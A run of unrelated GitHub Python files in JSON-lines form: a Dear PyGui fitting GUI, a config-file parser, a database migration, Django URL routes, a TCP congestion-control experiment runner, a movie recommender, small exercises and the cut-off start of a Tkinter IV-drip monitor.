ke_zero.append(i*self.statesNum+j+1)\n return ke_zero \n\n def stop_callback(self,sender, callback):\n configure_item(\"Stop\", enabled=False)\n set_item_label(\"Stop\",\"Stopping, wait 4 min\")\n self.stopFlag.value=1\n self.joinThr.join(60)\n if self.joinThr.is_alive():\n self.paramsServ_p.terminate()\n self.optBox_p.terminate()\n self.joinThr.join(6)\n\n self.enableInput(True)\n set_item_label(\"Stop\",\"Stop\")\n \n def enableInput(self,enable):\n configure_item(\"Start\", enabled=enable)\n configure_item(\"##port\", enabled=enable)\n configure_item(\"##indNum\", enabled=enable)\n configure_item(\"##maxGen\", enabled=enable)\n configure_item(\"##state\", enabled=enable)\n for i in range(self.statesNum):\n for j in range(self.statesNum):\n if not i==j: \n idlable=\"?##rm_\"+str(i)+\"_\"+str(j)\n configure_item(idlable,enabled=enable) \n\n def start_callback(self,sender, callback):\n # show_logger()\n log_info(\"=============\",logger=self.logID)\n log_info(str(get_value(\"##maxGen\")),logger=self.logID) \n log_info(\"Listening \"+str(get_value(\"##port\")),logger=self.logID)\n log_info(\"StatesNum \"+str(self.statesNum),logger=self.logID)\n self.stopFlag.value=0\n self.pServ = paramsServ(str(get_value(\"##port\")),self.statesNum)\n self.paramsServ_p = Process(target=self.pServ.run, args=(self.stopFlag,self.q))\n self.ke_zero=self.get_ke_zero()\n self.optBox=opt_toobox(self.statesNum, self.ke_zero)\n self.optBox_p=Process(target=self.optBox.run, args=(self.stopFlag,self.q,get_value(\"##indNum\"),get_value(\"##maxGen\")))\n self.paramsServ_p.daemon = True\n self.optBox_p.daemon = True\n self.optBox_p.start()\n self.paramsServ_p.start()\n self.joined=False\n configure_item(\"Stop\", enabled=True) \n # configure_item(\"Start\", enabled=False)\n self.enableInput(False)\n self.joinThr=threading.Thread(target=self.joinProcesses)#, args=(1,)\n self.joinThr.start()\n \n def joinProcesses(self):\n pJoined=False\n oJoined=False\n while not self.joined:\n # log_debug(\"joinning\",logger=self.logID) \n while not (oJoined or pJoined):\n self.paramsServ_p.join(5)\n if self.paramsServ_p.exitcode!=None:\n pJoined=True\n self.optBox_p.join(5)\n if self.optBox_p.exitcode!=None:\n oJoined=True\n if not oJoined:\n if sys.platform == 'win32':\n self.optBox_p.terminate()\n print(\"optBox_p terminate\")\n self.joined=True\n else:\n self.optBox_p.join(6)\n if self.optBox_p.exitcode==None:\n self.optBox_p.terminate()\n print(\"optBox_p terminate\")\n self.joined=True\n if not pJoined:\n if sys.platform == 'win32':\n self.paramsServ_p.terminate()\n print(\"paramsServ_p terminate\")\n self.joined=True\n else:\n self.paramsServ_p.join(6)\n if self.paramsServ_p.exitcode==None:\n self.paramsServ_p.terminate()\n print(\"paramsServ_p terminate\")\n self.enableInput(True)\n configure_item(\"Stop\", enabled=False)\n set_item_label(\"Stop\",\"Stop\") \n '''\n def query(self,sender, data):\n show_item(\"Plot Window\")\n set_plot_xlimits(\"Plot2\", data[0], data[1])\n set_plot_ylimits(\"Plot2\", data[2], data[3])\n def table_printer(self,sender, data):\n log_debug(f\"Table Called: {sender}\",logger=self.logID)\n coord_list = get_table_selections(\"k_ij_table\",logger=self.logID)\n log_debug(f\"Selected Cells (coordinates): {coord_list}\",logger=self.logID)\n names = []\n for coordinates in coord_list:\n names.append(get_table_item(\"k_ij_table\", coordinates[0], coordinates[1]))\n log_debug(names,logger=self.logID)\n ht=get_item_configuration(\"k_ij_table\")\n print(ht)\n configure_item(\"k_ij_table\", hide_headers=not ht['hide_headers'])\n '''\n\n def rateMat_callback(self,sender, data):\n if get_value(sender):\n # ol=get_item_label(sender)\n # nl=ol.replace(\"?\",\"0\",1)\n set_item_label(sender,\"0\")\n else:\n # ol=get_item_label(sender)\n # nl=ol.replace(\"0\",\"?\",1)\n set_item_label(sender,\"?\")\n log_debug(f\"{sender} ran a callback its value is {get_value(sender)}\",logger=self.logID)\n\n def add_matrix_inp(self,size):\n with managed_columns(\"k_ij_table##cs\", size,parent=\"input_Panel\",before=\"##sep_after_matrix\"):\n for i in range(size):\n for j in range(size):\n if i==j: \n add_text(\"?\")\n else:\n idlable=\"?##rm_\"+str(i)+\"_\"+str(j)\n add_selectable(idlable,span_columns=False,callback=self.rateMat_callback)\n\n def state_num_callback(self,sender, data):\n log_debug(f\"{sender} ran a callback its value is {get_value(sender)}\",logger=self.logID)\n n=get_value(\"##state\")\n log_info(\"Number of state \"+str(n),logger=self.logID)\n delete_item(\"k_ij_table##cs\")\n self.add_matrix_inp(n) \n if n>self.statesNum:\n self.moveLoggerWindow(False)\n else:\n self.moveLoggerWindow(False,False)\n self.statesNum=n\n\n def moveLoggerWindow(self,force=False,bigger=True):\n p0=get_window_pos(\"log_window\")\n if force or abs(p0[0])<=10:\n h=get_item_height(\"input_Panel\")\n if force:\n H=h+112\n elif bigger:\n H=h+20\n else:\n H=h-7\n set_window_pos(\"log_window\",0,H)\n set_item_height(\"log_window\",self.mainWinH-H-50)\n\n def drawHist(self):\n '''\n qD=(ii,histList)\n ii = 0 no data\n ii = 1 histList has mcHist\n ii > 1 histList has oHist , ii = histNum\n '''\n ii=0\n bestcs=3.2E32\n try:\n ii , bestcs, histList = self.qD.get(False)\n # print(bestcs)\n except queue.Empty:\n return\n clear_plot(\"Fittness\")\n if ii>0:\n if self.histNum!=ii:\n self.histNum=ii-self.lPad\n self.bin_edges=np.linspace(0,1.0,ii)[self.lPad:]\n self.oHist=histList[self.lPad:]\n add_shade_series(\"Fittness\",\"FRET data\",self.bin_edges.tolist(),self.oHist) \n self.bestf.clear()\n self.timelist.clear()\n dtime = datetime.datetime.now()\n localts=time.mktime(dtime.timetuple())-self.tzoffset \n set_plot_xlimits(\"Fit_Goodness\",localts,localts+60*2)\n elif ii==-1:\n clear_plot(\"Fit_Goodness\")\n dtime = datetime.datetime.now() \n localts=time.mktime(dtime.timetuple())-self.tzoffset\n self.timelist.append( localts)\n add_shade_series(\"Fittness\",\"FRET data\",self.bin_edges.tolist(),self.oHist)\n add_line_series(\"Fittness\",\"Simulation data\",self.bin_edges.tolist(),histList[self.lPad:],\n color=(1, 1, 1, -1),weight=2) \n self.bestf.append(bestcs)\n print(len(self.timelist))\n print(self.bestf) \n set_plot_xlimits(\"Fit_Goodness\",self.timelist[0],self.timelist[-1]+60)\n set_plot_ylimits(\"Fit_Goodness\",min(self.bestf),max(self.bestf))\n add_line_series(\"Fit_Goodness\",\"Fit Goodness\",self.timelist,self.bestf,\n color=(255, 255, 0),weight=3) \n def render_timer(self,sender,data):\n self.render_counter=self.render_counter+1\n if self.render_counter %30==0:\n self.drawHist()\n\n def showGUI(self):\n with window(\"fit_Window\",width=777,height=450,x_pos=232,y_pos=0):\n add_plot(\"Fittness\", height=-1)\n with window(\"fitGoodness_Window\",width=777,height=255,x_pos=232,y_pos=453):\n add_plot(\"Fit_Goodness\", height=-1,xaxis_time=True)\n\n with window(\"log_window\",width=230):\n add_logger(self.logID,autosize_x=True,autosize_y=True)\n\n with window(\"input_Panel\", width=230,autosize=True,x_pos=0,y_pos=0): \n add_text(\"Setup parameters first.\", bullet=True)\n add_text(\"Press the 'Start' to run.\", wrap=220, bullet=True)\n add_text(\"Listening port\")\n add_input_int(\"##port\",default_value=7777,min_value=1,max_value=65535)\n add_text(\"Number of state\")\n add_slider_int(\"##state\", default_value=self.statesNum, min_value=1, max_value=8, callback=self.state_num_callback) #TODO set it to 0, means auto det\n add_text(\"Max generations\")\n add_input_int(\"##maxGen\",default_value=1000,min_value=3,max_value=9999)\n add_text(\"Individual # in one generation\")\n add_input_int(\"##indNum\",default_value=0,min_value=0,max_value=3600,\n tip=\"Use 0 to auto calculate individual size\")\n add_text(\"Which K_{i,j} element are zero\")\n #add_input_text(\"##kZero\", multiline=True)\n # add_table(\"k_ij_table\",[\"1\",\"2\"],callback=table_printer)\n # add_row(\"k_ij_table\", [\"?\", \"?\"])\n # add_row(\"k_ij_table\", [\"?\", \"?\"])\n # try:\n # configure_item(\"k_ij_table\", hide_headers=True)\n # except:\n # pass \n add_separator()\n add_separator(name=\"##sep_after_matrix\")\n self.add_matrix_inp(self.statesNum) \n add_button(\"Start\", callback=self.start_callback)\n add_same_line()\n add_button(\"Stop\", callback=self.stop_callback,enabled=False)\n\n set_main_window_title(\"pySMFRETda\")\n # set_logger_window_title(\"xSMFRETda conosle\")\n # show_logger()\n enable_docking(shift_only=True,dock_space=True)\n # start_dearpygui(primary_window=\"Main Window\")\n self.moveLoggerWindow(True)\n set_render_callback(self.render_timer)\n start_dearpygui()","repo_name":"liu-kan/pySMFRETda","sub_path":"gui.py","file_name":"gui.py","file_ext":"py","file_size_in_byte":11941,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"} +{"seq_id":"33891588707","text":"class PyConfigFile(dict):\n \"\"\" A Python based configuration file with hierarchical sections. \"\"\"\n\n ###########################################################################\n # 'object' interface.\n ###########################################################################\n\n def __init__(self, file_or_filename=None):\n \"\"\"Constructor.\n\n If 'file_or_filename' is specified it will be loaded immediately. It\n can be either:-\n\n a) a filename\n b) a file-like object that must be open for reading\n\n \"\"\"\n\n # A dictionary containing one namespace instance for each root of the\n # config hierarchy (see the '_Namespace' class for more details).\n #\n # e.g. If the following sections have been loaded:-\n #\n # [acme.foo]\n # ...\n # [acme.bar]\n # ...\n # [tds]\n # ...\n # [tds.baz]\n # ...\n #\n # Then the dictionary will contain:-\n #\n # {'acme' : , 'tds' : }\n #\n self._namespaces = {}\n\n if file_or_filename is not None:\n self.load(file_or_filename)\n\n ###########################################################################\n # 'PyConfigFile' interface.\n ###########################################################################\n\n def load(self, file_or_filename):\n \"\"\"Load the configuration from a file.\n\n 'file_or_filename' can be either:-\n\n a) a filename\n b) a file-like object that must be open for reading\n\n \"\"\"\n\n # Get an open file to read from.\n f = self._get_file(file_or_filename)\n\n section_name = None\n section_body = \"\"\n for line in f:\n stripped = line.strip()\n\n # Is this line a section header?\n #\n # If so then parse the preceding section (if there is one) and\n # start collecting the body of the new section.\n if stripped.startswith(\"[\") and stripped.endswith(\"]\"):\n if section_name is not None:\n self._parse_section(section_name, section_body)\n\n section_name = stripped[1:-1]\n section_body = \"\"\n\n # Otherwise, this is *not* a section header so add the line to the\n # body of the current section. If there is no current section then\n # we simply ignore it!\n else:\n if section_name is not None:\n section_body += line\n\n # Parse the last section in the file.\n if section_name is not None:\n self._parse_section(section_name, section_body)\n\n f.close()\n\n def save(self, file_or_filename):\n \"\"\"Save the configuration to a file.\n\n 'file_or_filename' can be either:-\n\n a) a filename\n b) a file-like object that must be open for writing\n\n \"\"\"\n\n f = self._get_file(file_or_filename, \"w\")\n\n for section_name, section_data in self.items():\n self._write_section(f, section_name, section_data)\n\n f.close()\n\n ###########################################################################\n # Private interface.\n ###########################################################################\n\n def _get_file(self, file_or_filename, mode=\"r\"):\n \"\"\"Return an open file object from a file or a filename.\n\n The mode is only used if a filename is specified.\n\n \"\"\"\n\n if isinstance(file_or_filename, str):\n f = open(file_or_filename, mode)\n\n else:\n f = file_or_filename\n\n return f\n\n def _get_namespace(self, section_name):\n \"\"\" Return the namespace that represents the section. \"\"\"\n\n components = section_name.split(\".\")\n namespace = self._namespaces.setdefault(components[0], _Namespace())\n\n for component in components[1:]:\n namespace = getattr(namespace, component)\n\n return namespace\n\n def _parse_section(self, section_name, section_body):\n \"\"\"Parse a section.\n\n In this implementation, we don't actually 'parse' anything - we just\n execute the body of the section as Python code ;^)\n\n \"\"\"\n\n # If this is the first time that we have come across the section then\n # start with an empty dictionary for its contents. Otherwise, we will\n # update its existing contents.\n section = self.setdefault(section_name, {})\n\n # Execute the Python code in the section dictionary.\n #\n # We use 'self._namespaces' as the globals for the code execution so\n # that config values can refer to other config values using familiar\n # Python syntax (see the '_Namespace' class for more details).\n #\n # e.g.\n #\n # [acme.foo]\n # bar = 1\n # baz = 99\n #\n # [acme.blargle]\n # blitzel = acme.foo.bar + acme.foo.baz\n exec(section_body, self._namespaces, section)\n\n # The '__builtins__' dictionary gets added to 'self._namespaces' as\n # by the call to 'exec'. However, we want 'self._namespaces' to only\n # contain '_Namespace' instances, so we do the cleanup here.\n del self._namespaces[\"__builtins__\"]\n\n # Get the section's corresponding node in the 'dotted' namespace and\n # update it with the config values.\n namespace = self._get_namespace(section_name)\n namespace.__dict__.update(section)\n\n def _write_section(self, f, section_name, section_data):\n \"\"\" Write a section to a file. \"\"\"\n\n f.write(\"[%s]\\n\" % section_name)\n\n for name, value in section_data.items():\n f.write(\"%s = %s\\n\" % (name, repr(value)))\n\n f.write(\"\\n\")\n\n ###########################################################################\n # Debugging interface.\n ###########################################################################\n\n def _pretty_print_namespaces(self):\n \"\"\" Pretty print the 'dotted' namespaces. \"\"\"\n\n for name, value in self._namespaces.items():\n print(\"Namespace:\", name)\n value.pretty_print(\" \")\n\n\n###############################################################################\n# Internal use only.\n###############################################################################\n\n\nclass _Namespace(object):\n \"\"\"An object that represents a node in a dotted namespace.\n\n We build up a dotted namespace so that config values can refer to other\n config values using familiar Python syntax.\n\n e.g.\n\n [acme.foo]\n bar = 1\n baz = 99\n\n [acme.blargle]\n blitzel = acme.foo.bar + acme.foo.baz\n\n \"\"\"\n\n ###########################################################################\n # 'object' interface.\n ###########################################################################\n\n def __getattr__(self, name):\n \"\"\" Return the attribute with the specified name. \"\"\"\n\n # This looks a little weird, but we are simply creating the next level\n # in the namespace hierarchy 'on-demand'.\n namespace = self.__dict__[name] = _Namespace()\n\n return namespace\n\n ###########################################################################\n # Debugging interface.\n ###########################################################################\n\n def pretty_print(self, indent=\"\"):\n \"\"\" Pretty print the namespace. \"\"\"\n\n for name, value in self.__dict__.items():\n if isinstance(value, _Namespace):\n print(indent, \"Namespace:\", name)\n value.pretty_print(indent + \" \")\n\n else:\n print(indent, name, \":\", value)\n","repo_name":"enthought/apptools","sub_path":"apptools/preferences/tests/py_config_file.py","file_name":"py_config_file.py","file_ext":"py","file_size_in_byte":7770,"program_lang":"python","lang":"en","doc_type":"code","stars":37,"dataset":"github-code","pt":"60"} +{"seq_id":"41877356643","text":"# Licensed under the Apache License, Version 2.0 (the \"License\"); you may\n# not use this file except in compliance with the License. You may obtain\n# a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the\n# License for the specific language governing permissions and limitations\n# under the License.\n\n\"\"\"add_artifact_table\n\nRevision ID: ea2bae776723\nRevises: f181b33958c6\nCreate Date: 2018-11-26 14:48:54.463512\n\n\"\"\"\n\n# revision identifiers, used by Alembic.\nrevision = 'ea2bae776723'\ndown_revision = 'f181b33958c6'\nbranch_labels = None\ndepends_on = None\n\nfrom alembic import op\nimport sqlalchemy as sa\n\n\nARTIFACT_TABLE = 'zuul_artifact'\nBUILD_TABLE = 'zuul_build'\n\n\ndef upgrade(table_prefix=''):\n op.create_table(\n table_prefix + ARTIFACT_TABLE,\n sa.Column('id', sa.Integer, primary_key=True),\n sa.Column('build_id', sa.Integer,\n sa.ForeignKey(table_prefix + BUILD_TABLE + \".id\")),\n sa.Column('name', sa.String(255)),\n sa.Column('url', sa.TEXT()),\n )\n\n\ndef downgrade():\n raise Exception(\"Downgrades not supported\")\n","repo_name":"tungstenfabric-infra/zuul","sub_path":"zuul/driver/sql/alembic/versions/ea2bae776723_add_artifact_table.py","file_name":"ea2bae776723_add_artifact_table.py","file_ext":"py","file_size_in_byte":1322,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"28019391244","text":"from django.urls import path\n\nfrom . import views\n\n\napp_name = 'node'\n\nurlpatterns = [\n path('', views.create_or_delete, name='create_or_delete_node'),\n path('index', views.index, name='index'),\n path('get_father_pk', views.get_father_pk, name='get_father_pk'),\n path('add_node_view', views.add_node_view, name='add_node_view'),\n path('get_all_nodes', views.get_all_nodes, name='get_all_nodes')\n]","repo_name":"CloudMonitoringResearchTeam/cloud_monitoring_configurations","sub_path":"node/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":411,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"18675541673","text":"#! /usr/bin/python3\nimport os\nimport time\nimport sys\nimport json\nimport threading\nfrom typing import Dict\n\n_TIME = 0\n\nif (not (len(sys.argv) == 2 or len(sys.argv) == 3 or len(sys.argv) == 4)):\n print(f\"usage: 1: file 2: name 3: time\")\n print(sys.argv)\n exit()\n\nif (len(sys.argv) == 4):\n _TIME = int(sys.argv[3])\n\ndef c(host, cmd):\n \"\"\"\n turn into remote version of command\n \"\"\"\n cmd = cmd.replace(\"&\", \"\")\n cmd = cmd.replace(\"{T}\", f\"{trial_time}\")\n if (host != 'local'):\n cmd_clean = f\"ssh {host} \"\n cmd_clean += \"\\\"\" + cmd + \"\\\"\"\n return cmd_clean\n return cmd\n\n\ndef exec_cmd(host, cmd):\n new_thread = \"&\" in cmd\n cmd = c(host, cmd)\n print(\"command: \", cmd)\n if (new_thread):\n t = threading.Thread(target=lambda : os.system(cmd))\n t.name = f\"{host} $ {cmd}\"\n t.start()\n return t\n else:\n os.system(cmd)\n return False\n\n\ndef set_cc(host, cc):\n cmd = \\\nf\"\"\"\\\nsudo sysctl net.core.default_qdisc=fq;\nsudo sysctl net.ipv4.tcp_congestion_control={cc};\nsudo sysctl net.ipv4.tcp_congestion_control;\n\"\"\"\n cmd = c(host, cmd);\n print(cmd)\n os.system(cmd)\n pass\n\nconfig: Dict = json.loads(open(sys.argv[1], 'r').read())\nname = config[\"name\"]\n\ntrial_time = config[\"time\"]\nif (_TIME != 0):\n trial_time = _TIME\nif (len(sys.argv) > 2):\n name = sys.argv[2]\nprint(config)\n\nfor host, conf in config[\"setup\"].items():\n print(f\"Configuring: {host}\\n\")\n set_cc(host, conf[\"cc\"])\n for command in conf[\"commands\"]:\n exec_cmd(host, command)\n\n# Sleep to allow threads to start process up etc.\ntime.sleep(3)\n\nrun_handles = []\nfor host, conf in config[\"run\"].items():\n print(f\"Running : {host}\\n\")\n for command in conf[\"commands\"]:\n join_handle = exec_cmd(host, command)\n run_handles.append(join_handle)\n# Block and wait for all tasks started in the run phase\nfor handle in run_handles:\n handle.join()\n\noff_cmd = f\"\"\"\\\nsudo tc qdisc del dev enp3s0 root\nsudo tc qdisc del dev enp2s0 root\nsudo tc qdisc del dev enp1s0 root\nsudo tc -s qdisc ls dev enp3s0\n\"\"\"\nos.system(off_cmd)\n\nfor host, conf in config[\"finish\"].items():\n print(f\"Running : {host}\\n\")\n for command in conf[\"commands\"]:\n exec_cmd(host, command)\n\n# mkdir if it doesn't exist in results\nif (not os.path.isdir(f\"Results/\")):\n os.mkdir(f\"Results/\")\n\nfor host, conf in config[\"run\"].items():\n cc = config[\"setup\"][host][\"cc\"]\n cmd = f\"scp {host}:~/pcap.pcap Results/{cc}_{host}.pcap\"\n print(\"running: \", cmd)\n os.system(cmd)\n\nos.system(\"sh ./10mbps_enp3_off.sh\")\n","repo_name":"SaahilClaypool/NetworkTools","sub_path":"Trials/start_trial.py","file_name":"start_trial.py","file_ext":"py","file_size_in_byte":2592,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"73161490430","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Mon Jan 8 19:48:16 2018\n\n@author: lkj\n\"\"\"\n\nimport pandas as pd\nimport numpy as np\nfrom surprise import Reader, Dataset, SVD, evaluate\nfrom collections import defaultdict\nimport warnings; warnings.simplefilter('ignore')\n\n\nreader = Reader()\nratings = pd.read_csv('ratings_small.csv')\n\n#从DataFrame导入数据\ndata = Dataset.load_from_df(ratings[['userId', 'movieId', 'rating']], reader)\ndata.split(n_folds=5)\ntrainset = data.build_full_trainset()\n#SVD算法\nalgo = SVD()\nevaluate(algo, data, measures=['RMSE', 'MAE'])\n\n#训练模型\nalgo.train(trainset)\n#对用户未评价的电影生成测试集\ntestset = trainset.build_anti_testset()\npredictions = algo.test(testset) #预测测试集结果\n\n\ndef get_top_n(predictions, n=10):\n '''对预测结果中的每个用户，返回n部电影，默认n=10\n 返回值一个字典，包括：\n keys 为原始的userId，以及对应的values为一个元组\n [(raw item id, rating estimation), ...].\n '''\n\n # 预测结果取出，对应每个userId.\n top_n = defaultdict(list)\n for uid, iid, true_r, est, _ in predictions:\n top_n[uid].append((iid, est))\n # 排序取出前n个\n for uid, user_ratings in top_n.items():\n user_ratings.sort(key=lambda x: x[1], reverse=True)\n top_n[uid] = user_ratings[:n]\n return top_n\n\ntop_n = get_top_n(predictions, n=10)\nrec_result=np.zeros((671,11)) #定义二维矩阵来存放结果\ni=0\nfor uid, user_ratings in top_n.items():\n rec_result[i,0]=uid\n rec_result[i,1:]=[iid for (iid, _) in user_ratings]\n i=i+1\nrec_result=rec_result.astype('int')\n\n#转变成DataFrame\nrec_result=pd.DataFrame(rec_result,columns=['userId','rec1','rec2','rec3','rec4','rec5',\n 'rec6','rec7','rec8','rec9','rec10'])\n \n####################\n##下面开始从推荐电影的id到实际电影名字的映射\nmd=pd.read_csv('movies_metadata.csv')\nratings = pd.read_csv('ratings_small.csv')\nlinks_small = pd.read_csv('links_small.csv')\nlinks_small=links_small.dropna()\nlinks_small['tmdbId'] = links_small['tmdbId'].astype('int')\nsmd = md[md['id'].isin(links_small)]\n\n\n#从id到movie的映射函数\ndef id2movie(idd):\n #print(idd)\n link=links_small[links_small.movieId==idd].tmdbId\n if len(link)==0:\n return ''\n a=smd[smd.id==int(link)]['title']\n if len(a)==0:\n b=md[md.id==int(links_small[links_small.movieId==idd].tmdbId)]['title']\n if len(b)==0:\n return ''\n else:\n return b.values[0]\n else:\n return a.values[0]\n\nfor i in range(1,11):\n rec_result['rec'+str(i)]=rec_result['rec'+str(i)].apply(id2movie)\nrec_result.to_csv('rec_movie.csv',index=False)\n\n","repo_name":"lkj1114889770/File_Recommend","sub_path":"SVD_rec.py","file_name":"SVD_rec.py","file_ext":"py","file_size_in_byte":2730,"program_lang":"python","lang":"en","doc_type":"code","stars":14,"dataset":"github-code","pt":"60"} +{"seq_id":"37076322584","text":"\"\"\"CL_final_project URL Configuration\n\nThe `urlpatterns` list routes URLs to views. For more information please see:\n https://docs.djangoproject.com/en/3.2/topics/http/urls/\nExamples:\nFunction views\n 1. Add an import: from my_app import views\n 2. Add a URL to urlpatterns: path('', views.home, name='home')\nClass-based views\n 1. Add an import: from other_app.views import Home\n 2. Add a URL to urlpatterns: path('', Home.as_view(), name='home')\nIncluding another URLconf\n 1. Import the include() function: from django.urls import include, path\n 2. Add a URL to urlpatterns: path('blog/', include('blog.urls'))\n\"\"\"\nfrom django.contrib import admin\nfrom django.urls import path, include\nfrom django.conf import settings\nfrom django.conf.urls.static import static\nfrom django.views.generic.base import TemplateView\nfrom animal_shelters.views import SignUpView, AccountView, SheltersView, AddShelterAnimalsView, \\\n ShelterAnimalsView, OwnerAnimalsView, EditShelterAnimalsView, FoodView, AddFoodView, \\\n AnimalTypeView, AddAnimalTypeView, CareView, AddCareView\n\nurlpatterns = [\n path('admin/', admin.site.urls),\n path('accounts/', include('django.contrib.auth.urls')),\n path('', TemplateView.as_view(template_name='home.html'), name='home'),\n path('accounts/signup/', SignUpView.as_view(), name='signup'),\n path('account', AccountView.as_view(), name='account'),\n path('shelters', SheltersView.as_view(), name='shelters'),\n path('shelter/animals/add', AddShelterAnimalsView.as_view(), name='add-shelter-animals'),\n path('shelter/animals/', ShelterAnimalsView.as_view(), name='shelter-animals'),\n path('owner/animals', OwnerAnimalsView.as_view(), name='owner-animals'),\n path('owner/animals/edit/', EditShelterAnimalsView.as_view(),\n name='owner-animals-edit'),\n path('food', FoodView.as_view(), name='food'),\n path('food/add', AddFoodView.as_view(), name='add-food'),\n path('type', AnimalTypeView.as_view(), name='type'),\n path('type/add', AddAnimalTypeView.as_view(), name='add-type'),\n path('care/', CareView.as_view(), name='care'),\n path('care/add/', AddCareView.as_view(), name='add-care')\n] + static(settings.MEDIA_URL, document_root=settings.MEDIA_ROOT)\n","repo_name":"KrzysztofCalus/Animal_shelters_app","sub_path":"CL_final_project/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":2305,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"74267857151","text":"'''\nProject Euler:\nProblem #32: Pandigital products\n\nWe shall say that an n-digit number is pandigital if it makes use of all the digits 1 to n exactly once; for example, the 5-digit number, 15234, is 1 through 5 pandigital.\n\nThe product 7254 is unusual, as the identity, 39 × 186 = 7254, containing multiplicand, multiplier, and product is 1 through 9 pandigital.\n\nFind the sum of all products whose multiplicand/multiplier/product identity can be written as a 1 through 9 pandigital.\n\nHINT: Some products can be obtained in more than one way so be sure to only include it once in your sum.\n\nDate: June 11, 2019\n'''\n\ndef factors(num):\n \"\"\"Returns a dictionary containing the multiplicand/multiplier factor pairings (not including 1) for the num\"\"\"\n factors = {}\n import math\n for i in range(2, int(math.sqrt(num)) + 1):\n if num % i == 0:\n factors[i] = num//i\n return factors\n\ndef pandigital(num, factors):\n \"\"\"\n Checks to see if a number and any of it's multiplicand/multiplier factor pairings\n can be written as a 1 through 9 pandigital.\n\n For example, the multiplicand, multiplier, and product of 39 × 186 = 7254, is a 1 through 9 pandigital.\n\n Keyword arguments:\n num -- is a positive integer\n factors -- a dictionary containing the numbers multiplicand/multiplier factor pairings\n \"\"\"\n pandigital = [1,2,3,4,5,6,7,8,9]\n for key, value in factors.items():\n strNum = str(num) + str(key) + str(value)\n intNum = [int(x) for x in strNum]\n intNum.sort()\n if intNum == pandigital:\n return True\n return False\n\n# I wasn't sure what the upper and lower bounds should be, so I tried 10,000 and then 100,000, and found I got the same result\nresult = []\nfor num in range(10000):\n if pandigital(num, factors(num)) == True:\n result.append(num)\nprint(result)\nsum(result)\n","repo_name":"alistair-clark/project-euler","sub_path":"problem32.py","file_name":"problem32.py","file_ext":"py","file_size_in_byte":1877,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"37787978385","text":"class Pie: \n store_name = \"Maciek's Pies\"\n def __init__(self, name, topping, crust, price, size = 'personal'):\n self.name = name\n self.topping = topping\n self.crust = crust\n self.price = price\n self.size = size\n\n def addTopping(self, topping):\n self.topping = topping\n return self # When chaining below, you need to come back here and add return self\n\n def addSide(self, side):\n self.side = side\n return self\n\n @classmethod\n def name_change(cls, name):\n cls.store_name = name\n\nPie.name_change(\"Matt's Pie\")\n\npie_one = Pie(\"Pizza Pie\", \"Thin\", \"10\", \"Cheese\", \"Personal\")\nprint(pie_one.store_name)\n# print(pie_one.topping)\n\n\n# pie_one.addTopping(\"Sausage\")\n# print(pie_one.topping)","repo_name":"mikrut617/python","sub_path":"fundamentals/python_examples/methods.py","file_name":"methods.py","file_ext":"py","file_size_in_byte":769,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"71981675392","text":"import csv\ndata = dict()\nfile_name = 11\ntext = []\ntmp = []\nfor i in range(11,36):\n print(i)\n file = open('C:/programming/text/'+str(file_name)+'.txt','r',encoding = 'utf-8')\n for line in file:\n line = line.strip()\n text.extend(line)\n file_name += 1\n file.close()\nfor ch in text:\n data[ch] = data.get(ch,0)+1\n\n\ndata = sorted(data.items(), key=lambda x: x[1],reverse = True)\nnumber = dict()\nfor item in data:\n number[item[0]] = item[1]\nprint(number)\n\n\n\nwith open('names.csv', 'w', newline='') as csvfile:\n fieldnames = ['index','char', 'number']\n writer = csv.DictWriter(csvfile, fieldnames=fieldnames)\n\n writer.writeheader()\n for idx,tmp in enumerate(data):\n \n writer.writerow({'index':idx,'char': tmp[0],'number':tmp[1]})\n \n\n\n","repo_name":"17-76018348/Winter_2019","sub_path":"파이썬/dic.py","file_name":"dic.py","file_ext":"py","file_size_in_byte":790,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"41697863794","text":"'''\r\n*flow chart*\r\n최대 용량을 입력하여 Progressbar를 생성(createProcess 함수) ->\r\nPort Name을 입력하여 블루투스 통신 연결(portConnect 함수) ->\r\n블루투스로부터 데이터를 받아옴(thread_run 함수, getData 함수) ->\r\n데이터 값이 10을 넘어서면 수액 투여 실행(mapping 함수, clock 함수, update 함수) ->\r\n수액이 투여되면 남은 시간과 투여 진행 상황 퍼센트로 표시(clock 함수, update 함수)\r\n\r\n*process detail*\r\n가변저항값은 0~1024. 이를 직관적으로 해석하기 위해 \r\n1024를 14 등분으로 나누고 mapping을 하여 한 방울이 떨어지는 시간을 계산\r\n이 시간만큼 process(방울 수)라는 변수를 1씩 증가\r\n최대 용량이 1000이라면 1000번 떨어져야 끝남\r\n한 방울이 떨어지는 시간과 최대 용량을 가지고 남은 시간과 진행된 용량을 퍼센트로 표시하도록 함\r\n\r\n\r\n*in additional*\r\n윈도우를 표시하는 main Thread가 실행되면 다른 행동을 취할 수가 없음\r\n시간을 계산하거나 블루투스를 통해 데이터를 받아오기 위해서는 multi Threading이 필요함\r\nclock, thread_run 함수가 multi Thread를 하는 함수임\r\n'''\r\n#GUI 해더\r\nfrom tkinter import ttk\r\nfrom tkinter import *\r\n#블루투스 통신을 위한 serial 해더\r\nimport serial\r\n#멀티쓰레딩을 위한 해더\r\nimport threading\r\n#Timer Thread를 사용하기 위한 해더\r\nimport time\r\n\r\nwindow = Tk() # 윈도우 생성\r\nwindow.title(\"Ringer Monitoring System\") # 윈도우 타이틀 설정\r\nwindow.geometry(\"640x640+100+100\") # 윈도우 크기 